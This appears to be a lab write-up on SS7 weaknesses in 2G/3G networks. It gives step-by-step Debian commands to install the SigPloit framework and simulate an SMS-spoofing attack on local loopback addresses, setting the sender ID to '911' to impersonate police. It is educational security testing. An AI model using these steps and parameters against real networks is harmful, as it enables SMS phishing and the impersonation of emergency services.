**Attack Implementation**

A large security concern for the next generation of wireless technology, particularly 5G, is it reliance on 4G/LTE components. However, what is more alarming is the reliance on 2G and 3G components. This is because, an adversary with network access gotten maliciously could target 4G/LTE systems with a downgrade attack to use 2G/3G protocols. SS7 being the signalling protocol responsible for setting up and terminating calls is the main issue with 2G/3G systems. Over time, the protocl improved having additional features like SMS, prepaid billing, call waiting/forwarding and more [1]. SS7 contains several vulnerabilities such as Denial of Service, fradulent activity, breach of user privacy and interception [1] and some of these will be exploited during this implementation.

**SigPloit**

Few years back, two researchers Rosalia D’Alessandro and Ilario Dal Grande came togetger to create a telecommunications security testing framework called Sigploit. Futhermore, Sigploit was created because access to the SS7 network needed specialized knowledge and authorization and this is usually restricted to telecommunication operators, service providers and authorized personnel who have the necessary credentials, permissions and technical expertise. It is also worth noting that unauthorized access to the SS7 network is illegal and can result in severe legal consequences [2]\*\*. The setup of this framework is in a linux environment and it provides simulation executables that allows users test attacks that target SS7 in a controlled environment. It offers attacks that compromize user privacy and also fraud attacks as well [1].

**Setup and Execution**

All setups below were executed on a distribution of Debian Linux however, this can also be done on other operating systems but would require slight modification of the commands used inorder to work with their various packet or network managers.

1. To begin, we install all necessary system dependencies using the command below. However, if you already have python and/or wireshark installed, you can exclude them from the command:

*Sudo apt-get install git python openjdk-8-jdk maven lkscpt-tools wireshark*

1. To run SigPloit, download the python tool and install the python dependencies with the code below:

*git clone* [*https://github.com/SigPloiter/SigPloit*](https://github.com/SigPloiter/SigPloit)

*cd SigPloit*

*sudo pip2 install -r requirements.txt*

1. Add the following IP addresses to simulate attacker and target for the test environment to leverage. Then launch SigPloit to verify functionality from root/home depending on your installation path.

*sudo ip address add 192.168.56.101/32 dev lo*

*sudo ip address add 192.168.56.102/32 dev lo*

*cd SigPloit*

*python sigploit.py*

**SMS Routing Attack**

The SS7 has several vulnerabilities which can be grouped under fraudulent attacks and SMS routing is one of them. This attack is possible because a text message is sent from the MSC() to the destination MSC and there is no authentication of the sender by the local HLR() in that transmission. An attacker can send a spoofed SMS to an MSC claiming to be another entity weather they belong to the network or not. In our simulation, we impersonated the police using 911 making this vulnerability very useful in executing SMS based phishing attacks [1].

1. To execute this exploit, we must launch the simulation binary in the respective directory using the following command:

*cd SigPloit/Testing/Server/Attacks/Fraud/MTForwardSMS\_Server/*

*java -jar MTForwardSMSResp.jar*

A computer screen shot of a computer program

Description automatically generated

1. Next, we can initiate the exploit from SigPloit by executing the Fraud JAR file from the directory with the following command:

*cd SigPloit/ss7/attacks/fraud/mtsms*

*java -jar MTForwardSMS.jar*

A screenshot of a computer screen

Description automatically generated

1. The following parameters would need to be configured as the client and server (Attacker and Target) reside on the hardcoded IP addresses we had earlier added alongside their respective ports. From the parameters to be configured, the target MSC and IMSI indicates which target MSC server to attack and the victim IMSI which the message should be sent. The sestination of the attacker is configured as the local\_GT sets the global title and this is the destination/number of the attacker while the spoofed\_smsGT is an arbitrary 10-digit number. The SenderID is the spoofed user that the attacker is impersonating ansd the sms\_content contains the content of the spoofed message [1].

*set client\_pc 1*

*set client\_ip 192.168.56.101*

*set client\_port 2905*

*set server\_pc 2*

*set server\_ip 192.168.56.102*

*set server\_port 2906*

*set target\_msc 201512345678*

*set target\_imsi 609156789123456*

*set local\_GT 96512345678*

*set Spoofed\_smsGT 965123456780*

*set SenderID 911*

*set sms\_content This is Sam. I am testing ss7*

A screen shot of a computer

Description automatically generated

1. As soon as all these parameters are set and ready, enter ‘run’ and the attack will execute as seen in the snapshots.

A screenshot of a computer screen

Description automatically generated

**LIMITATIONS**

* The SS7 protocol is highly limited and vulnerable, and this is because large areas of the protocol can be executed without authentication. An attacker who has gained unauthorized or malicious access to the SS7 network can easily breach the privacy of any subscribers within the environment.
* During our research, we encountered issues with obsolete software such as the versions of python Pip3 and Maven which were dependencies required for SigPloit to run smoothly.